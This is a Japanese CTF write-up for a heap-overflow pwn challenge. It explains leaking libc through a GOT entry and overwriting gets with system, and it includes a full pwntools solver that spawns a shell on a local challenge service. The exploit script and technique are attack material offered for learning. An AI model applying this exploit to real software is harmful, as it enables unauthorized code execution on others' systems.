simplelist
t6o_o6t.icon
code:file
./chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildIDsha1=c1ea22cea66863313f8fa1c228051f7d991d4dcb, for GNU/Linux 3.2.0, not stripped checksec
code:checksec
Canary : ✓
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : ✘
PIEではないので、正規の命令のアドレスは固定
RelROは設定されていないので、GOT Overwriteが可能
ソースコードを見た限りでは、gets関数を使っているのが気になる 今回の条件では、ヒープの各Allocated Chunkは空間的に連続している可能性がある。ゆえに、あるMemoへの入力でオーバーフローを起こせば、それ以降のMemoの値にも影響を与えることができそうだ
ゴールはどこにある?
フラグを表示するような関数はコードに含まれていない。
system() のような関数の呼び出しはないので、GOT Overwriteの効果を得ることは難しい(?)
これは誤りである。system関数そのものは、libcのロード時にメモリに読み込まれている。
libcのベースアドレスのリーク
あるMemoのnextを、GOTエントリに向けると、3. Show memoで解決済のアドレスを取得することができるはずだ
たとえば、GOTエントリ0x400008に0x7fff...0a0が入っている状況を考える。
あるMemoのnextを0x400000に上書きすると、その次のMemoをshowするとき、アドレス0x400000がMemo構造体のポインタとして解釈される。
そのため、0x400008がcontentとして表示されるはずだ。
これにより、解決済のアドレスが表示される。
これにより得たアドレスから、libc.so.6におけるその関数のアドレスを引き去ることで、libcのベースアドレスを計算することができる。
手順
1. Memoを2個作成する
2. 1つめのMemoをEditし、バッファオーバーフローで2個目のメモのNextを、所望の関数のGOTエントリのアドレス -8に書き換える
GOTエントリのアドレスそのものではなく、そこから8引いたアドレスに書き換えることが重要。
これによって、偽造された3個目のメモのContentがGOTエントリを指すようになるので、2. Editを使ってGOTエントリの内容に読み書きを行うことができるようになる。
t6o_o6t.iconは、gets関数に対してGOT overwriteすることにした。
3. 2. EditでGOTエントリの向き先をsystem関数に書き換える
4. 所望の関数を何らかの方法で呼び出す
t6o_o6t.iconは手順2.でバッファオーバーフローさせたあと、1個目のメモの内容を/bin/shに書き換えた。
そして、ふたたび2. Editを実行すると、gets(e->content)が実行されるので、system("/bin/sh")の呼び出しが引き起こされた。
GOT overwriteによるシェルの奪取
code:solver.py
from pwn import *
p = remote("localhost", 9003)
e = ELF("./chall")
context.binary = e
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# Create two new memo
for _ in range(2):
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"Content: ")
p.sendline(b"")
# Overwrite next address of second memo
p.recvuntil(b"> ")
p.sendline(b"2")
p.recvuntil(b"index: ")
p.sendline(b"0")
gets_as_memo = e.got"gets" - 8 p.recvuntil(b"New content: ")
fake_3rd_memo = flat(b"A" * (0xd0 - 0xa8), p64(gets_as_memo))
p.sendline(fake_3rd_memo)
# Embed string "/bin/sh" to memory
def edit(index, content):
p.recvuntil(b"> ")
p.sendline(b"2")
p.recvuntil(b"index: ")
p.sendline(str(index).encode())
p.recvuntil(b"New content: ")
p.sendline(content)
edit(0, b"/bin/sh")
# Leak gets got address
p.recvuntil(b"> ")
p.sendline(b"2")
p.recvuntil(b"index: ")
p.sendline(b"2")
p.recvuntil(b"Old content: ")
gets_address_bytes = p.recvline().rstrip() + b"\x00\x00"
print(gets_address_bytes)
gets_address = u64(gets_address_bytes)
print(hex(gets_address))
system_address = gets_address - libc.symbols"gets" + libc.symbols"system" print(hex(system_address))
p.recvuntil(b"New content: ")
p.sendline(p64(system_address))
# Call system("/bin/sh")
p.recvuntil(b"> ")
p.sendline(b"2")
p.recvuntil(b"index:")
p.sendline(b"0")
p.interactive()
感想
かなり時間がかかった。
今回、challファイルをpwntoolsで開いたgdbでデバッグしようとすると、heap chunksなどのHeap系コマンドが動作しない問題があり、苦労した。
原因は分かっていない..
libcのbaseアドレスをleakするには、まずlibc.soをELF()で解析する必要があることがわかった。
手を動かさなければ、このことに気づくことはできなかったと思う。
特に悩んだのが gets_address_bytes = p.recvline().rstrip() + b"\x00\x00"。
また、u64に渡すbytesは、正確に8バイトでなければならない。
しかし、Leakアドレスはputsを介して標準出力されるので、\x002バイト分が出力に含まれていない。
そのため、失われた\x002バイト分を、bytesの後ろに付け加えることで対応した。